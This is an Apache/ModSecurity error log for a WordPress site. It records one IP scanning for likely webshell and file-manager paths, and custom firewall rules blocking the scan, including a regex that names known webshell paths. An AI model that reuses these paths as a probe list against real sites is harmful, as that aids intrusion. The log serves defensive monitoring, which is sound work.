[Thu Apr 16 22:01:40.709663 2026] [proxy_fcgi:error] [pid 7880:tid 7885] [client 158.158.35.197:2572] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:01:41.191083 2026] [proxy_fcgi:error] [pid 7880:tid 7895] [client 158.158.35.197:2572] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:01:41.443735 2026] [proxy_fcgi:error] [pid 7880:tid 7889] [client 158.158.35.197:2572] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:01:41.685053 2026] [proxy_fcgi:error] [pid 7880:tid 7898] [client 158.158.35.197:2572] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:01:41.925746 2026] [proxy_fcgi:error] [pid 7880:tid 7903] [client 158.158.35.197:2572] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:01:42.243175 2026] [proxy_fcgi:error] [pid 7880:tid 7892] [client 158.158.35.197:2572] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:01:42.530976 2026] [:error] [pid 7880:tid 7909] [client 158.158.35.197:2572] [client 158.158.35.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeDrxqaezm4fSGc0yUK6PQAAAZg"]
[Thu Apr 16 22:01:43.358492 2026] [proxy_fcgi:error] [pid 57639:tid 57656] [client 158.158.35.197:28230] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:01:43.667218 2026] [proxy_fcgi:error] [pid 57639:tid 57661] [client 158.158.35.197:28230] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:01:43.927647 2026] [:error] [pid 57639:tid 57658] [client 158.158.35.197:28230] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeDrx6MCQoTw7TsxWunRIAAAAMw"]
[Thu Apr 16 22:01:45.859966 2026] [:error] [pid 7880:tid 7896] [client 158.158.35.197:30508] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeDryaaezm4fSGc0yUK6SQAAAYs"]
[Thu Apr 16 22:01:47.899343 2026] [:error] [pid 57536:tid 57552] [client 158.158.35.197:2512] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeDryyQU4faGja6jpDuR3QAAAAQ"]
[Thu Apr 16 22:01:48.762741 2026] [:error] [pid 57639:tid 57664] [client 158.158.35.197:24340] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeDrzKMCQoTw7TsxWunRQgAAANI"]
[Thu Apr 16 22:02:15.030562 2026] [:error] [pid 57639:tid 57659] [client 158.158.35.197:29273] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/state.php"] [unique_id "aeDr56MCQoTw7TsxWunR4AAAAM0"]
[Thu Apr 16 22:02:24.930622 2026] [:error] [pid 57536:tid 57566] [client 158.158.35.197:24386] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeDr8CQU4faGja6jpDuSGQAAABI"]
[Thu Apr 16 22:02:27.095002 2026] [:error] [pid 7880:tid 7892] [client 158.158.35.197:28420] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeDr86aezm4fSGc0yUK6hwAAAYc"]
[Thu Apr 16 22:02:34.585288 2026] [:error] [pid 57537:tid 57589] [client 158.158.35.197:20014] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeDr-lVQRS8nm73ENAnAnQAAAE4"]
[Thu Apr 16 22:02:36.000398 2026] [:error] [pid 57639:tid 57652] [client 158.158.35.197:23622] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeDr-6MCQoTw7TsxWunSIgAAAMY"]
[Thu Apr 16 22:02:43.214401 2026] [proxy_fcgi:error] [pid 57538:tid 57614] [client 158.158.35.197:26809] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:02:43.478300 2026] [proxy_fcgi:error] [pid 57538:tid 57621] [client 158.158.35.197:26809] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:02:44.098088 2026] [proxy_fcgi:error] [pid 57538:tid 57626] [client 158.158.35.197:26809] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:02:44.415193 2026] [proxy_fcgi:error] [pid 57538:tid 57606] [client 158.158.35.197:26809] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:02:44.755435 2026] [proxy_fcgi:error] [pid 57538:tid 57609] [client 158.158.35.197:26809] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:02:45.121480 2026] [proxy_fcgi:error] [pid 57538:tid 57610] [client 158.158.35.197:26809] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:02:45.955922 2026] [proxy_fcgi:error] [pid 57538:tid 57603] [client 158.158.35.197:26809] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:02:46.242909 2026] [proxy_fcgi:error] [pid 57538:tid 57612] [client 158.158.35.197:26809] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:02:46.904962 2026] [:error] [pid 57538:tid 57623] [client 158.158.35.197:26809] [client 158.158.35.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aeDsBsuMaiEF5SVR2BfusAAAAJU"]
[Thu Apr 16 22:02:47.920486 2026] [proxy_fcgi:error] [pid 57537:tid 57586] [client 158.158.35.197:23661] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:02:48.206878 2026] [:error] [pid 57537:tid 57595] [client 158.158.35.197:23661] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "aeDsCFVQRS8nm73ENAnApwAAAFQ"]
[Thu Apr 16 22:02:57.183410 2026] [:error] [pid 57639:tid 57648] [client 158.158.35.197:22038] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "aeDsEaMCQoTw7TsxWunSXAAAAMI"]
[Thu Apr 16 22:02:59.610040 2026] [:error] [pid 57537:tid 57592] [client 158.158.35.197:30219] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "aeDsE1VQRS8nm73ENAnArwAAAFE"]
[Thu Apr 16 22:03:04.691668 2026] [:error] [pid 49094:tid 49111] [client 158.158.35.197:24943] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeDsGDbDwvcXorHR_Mz5jwAAAU8"]
[Thu Apr 16 22:03:06.682879 2026] [:error] [pid 29603:tid 29622] [client 158.158.35.197:24921] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeDsGlfGOR6fpTWUAzqkMAAAARE"]
[Thu Apr 16 22:03:08.097650 2026] [:error] [pid 49094:tid 49118] [client 158.158.35.197:26177] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeDsHDbDwvcXorHR_Mz5lgAAAVY"]
[Thu Apr 16 22:03:10.542876 2026] [:error] [pid 49094:tid 49100] [client 158.158.35.197:26206] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeDsHjbDwvcXorHR_Mz5mgAAAUQ"]
[Thu Apr 16 22:03:27.958175 2026] [:error] [pid 57639:tid 57662] [client 158.158.35.197:24963] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aeDsL6MCQoTw7TsxWunSrgAAANA"]
[Thu Apr 16 22:03:29.572548 2026] [:error] [pid 57639:tid 57647] [client 158.158.35.197:39324] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aeDsMaMCQoTw7TsxWunSsAAAAME"]
[Thu Apr 16 22:03:32.219875 2026] [:error] [pid 57537:tid 57595] [client 158.158.35.197:39336] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aeDsNFVQRS8nm73ENAnAvgAAAFQ"]
[Thu Apr 16 22:03:36.295431 2026] [:error] [pid 57536:tid 57563] [client 158.158.35.197:2094] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aeDsOCQU4faGja6jpDuSewAAAA8"]
[Thu Apr 16 22:03:37.401298 2026] [:error] [pid 57639:tid 57658] [client 158.158.35.197:19479] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aeDsOaMCQoTw7TsxWunSwQAAAMw"]
[Thu Apr 16 22:03:39.279942 2026] [:error] [pid 49094:tid 49097] [client 158.158.35.197:18021] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aeDsOzbDwvcXorHR_Mz54AAAAUE"]
[Thu Apr 16 22:03:41.036183 2026] [:error] [pid 49094:tid 49105] [client 158.158.35.197:23075] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aeDsPTbDwvcXorHR_Mz56AAAAUk"]
[Thu Apr 16 22:03:47.585479 2026] [proxy_fcgi:error] [pid 57536:tid 57554] [client 158.158.35.197:2625] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:03:47.853956 2026] [proxy_fcgi:error] [pid 57536:tid 57550] [client 158.158.35.197:2625] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:03:48.118957 2026] [proxy_fcgi:error] [pid 57536:tid 57559] [client 158.158.35.197:2625] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:03:48.397141 2026] [proxy_fcgi:error] [pid 57536:tid 57557] [client 158.158.35.197:2625] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:03:48.662393 2026] [proxy_fcgi:error] [pid 57536:tid 57563] [client 158.158.35.197:2625] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:03:48.925974 2026] [proxy_fcgi:error] [pid 57536:tid 57561] [client 158.158.35.197:2625] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:03:49.189115 2026] [proxy_fcgi:error] [pid 57536:tid 57566] [client 158.158.35.197:2625] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:03:49.466673 2026] [proxy_fcgi:error] [pid 57536:tid 57569] [client 158.158.35.197:2625] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:03:49.729925 2026] [proxy_fcgi:error] [pid 57536:tid 57551] [client 158.158.35.197:2625] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:03:49.993568 2026] [proxy_fcgi:error] [pid 57536:tid 57567] [client 158.158.35.197:2625] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:03:50.257017 2026] [proxy_fcgi:error] [pid 57536:tid 57553] [client 158.158.35.197:2625] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:03:50.517330 2026] [:error] [pid 57536:tid 57548] [client 158.158.35.197:2625] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeDsRiQU4faGja6jpDuSlQAAAAA"]
[Thu Apr 16 22:03:52.554624 2026] [:error] [pid 49094:tid 49107] [client 158.158.35.197:2981] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeDsSDbDwvcXorHR_Mz6AQAAAUs"]
[Thu Apr 16 22:03:53.773028 2026] [:error] [pid 29603:tid 29614] [client 158.158.35.197:26164] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeDsSVfGOR6fpTWUAzqkdgAAAQk"]
[Thu Apr 16 22:03:58.146634 2026] [:error] [pid 49094:tid 49119] [client 158.158.35.197:42484] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeDsTjbDwvcXorHR_Mz6HAAAAVc"]
[Thu Apr 16 22:03:59.807633 2026] [:error] [pid 57536:tid 57566] [client 158.158.35.197:42471] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "aeDsTyQU4faGja6jpDuSowAAABI"]
[Thu Apr 16 22:04:01.867802 2026] [:error] [pid 57536:tid 57571] [client 158.158.35.197:29441] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "aeDsUSQU4faGja6jpDuSqgAAABc"]
[Thu Apr 16 22:04:12.989913 2026] [:error] [pid 49094:tid 49118] [client 158.158.35.197:30992] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "aeDsXDbDwvcXorHR_Mz6NwAAAVY"]
[Thu Apr 16 22:04:14.311470 2026] [:error] [pid 57639:tid 57659] [client 158.158.35.197:30977] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aeDsXqMCQoTw7TsxWunTEAAAAM0"]
[Thu Apr 16 22:04:19.121610 2026] [:error] [pid 49094:tid 49116] [client 158.158.35.197:21783] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aeDsYzbDwvcXorHR_Mz6OgAAAVQ"]
[Thu Apr 16 22:04:20.124337 2026] [:error] [pid 57536:tid 57548] [client 158.158.35.197:41368] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aeDsZCQU4faGja6jpDuS6wAAAAA"]
[Thu Apr 16 22:04:21.558823 2026] [:error] [pid 57536:tid 57554] [client 158.158.35.197:26017] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aeDsZSQU4faGja6jpDuS7QAAAAY"]
[Thu Apr 16 22:04:56.263725 2026] [proxy_fcgi:error] [pid 57538:tid 57619] [client 158.158.35.197:31195] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:04:56.566065 2026] [proxy_fcgi:error] [pid 57538:tid 57605] [client 158.158.35.197:31195] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:04:57.075367 2026] [proxy_fcgi:error] [pid 57538:tid 57604] [client 158.158.35.197:31195] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:04:57.353874 2026] [proxy_fcgi:error] [pid 57538:tid 57603] [client 158.158.35.197:31195] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:04:57.633538 2026] [proxy_fcgi:error] [pid 57538:tid 57613] [client 158.158.35.197:31195] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:04:57.897462 2026] [proxy_fcgi:error] [pid 57538:tid 57612] [client 158.158.35.197:31195] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:04:58.156592 2026] [proxy_fcgi:error] [pid 57538:tid 57602] [client 158.158.35.197:31195] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:04:58.436688 2026] [proxy_fcgi:error] [pid 57538:tid 57610] [client 158.158.35.197:31195] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:04:58.847098 2026] [proxy_fcgi:error] [pid 57538:tid 57617] [client 158.158.35.197:31195] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:04:59.107042 2026] [proxy_fcgi:error] [pid 57538:tid 57616] [client 158.158.35.197:31195] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:05:00.403328 2026] [proxy_fcgi:error] [pid 57538:tid 57620] [client 158.158.35.197:31195] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:05:00.777974 2026] [:error] [pid 57538:tid 57625] [client 158.158.35.197:31195] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeDsjMuMaiEF5SVR2BfvBgAAAJc"]
[Thu Apr 16 22:05:09.079280 2026] [:error] [pid 57537:tid 57598] [client 158.158.35.197:27121] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeDslVVQRS8nm73ENAnA7QAAAFc"]
[Thu Apr 16 22:05:11.382196 2026] [:error] [pid 57536:tid 57567] [client 158.158.35.197:27012] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeDslyQU4faGja6jpDuTiwAAABM"]
[Thu Apr 16 22:05:14.072811 2026] [:error] [pid 57537:tid 57581] [client 158.158.35.197:2727] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeDsmlVQRS8nm73ENAnA-wAAAEY"]
[Thu Apr 16 22:05:15.583963 2026] [:error] [pid 57538:tid 57604] [client 158.158.35.197:26663] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeDsm8uMaiEF5SVR2BfvEwAAAII"]
[Thu Apr 16 22:05:18.694444 2026] [:error] [pid 57537:tid 57591] [client 158.158.35.197:17744] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeDsnlVQRS8nm73ENAnA_wAAAFA"]
[Thu Apr 16 22:05:19.790195 2026] [:error] [pid 7880:tid 7899] [client 158.158.35.197:17762] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeDsn6aezm4fSGc0yUK7SAAAAY4"]
[Thu Apr 16 22:05:22.553703 2026] [:error] [pid 49094:tid 49100] [client 158.158.35.197:22338] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aeDsojbDwvcXorHR_Mz6igAAAUQ"]
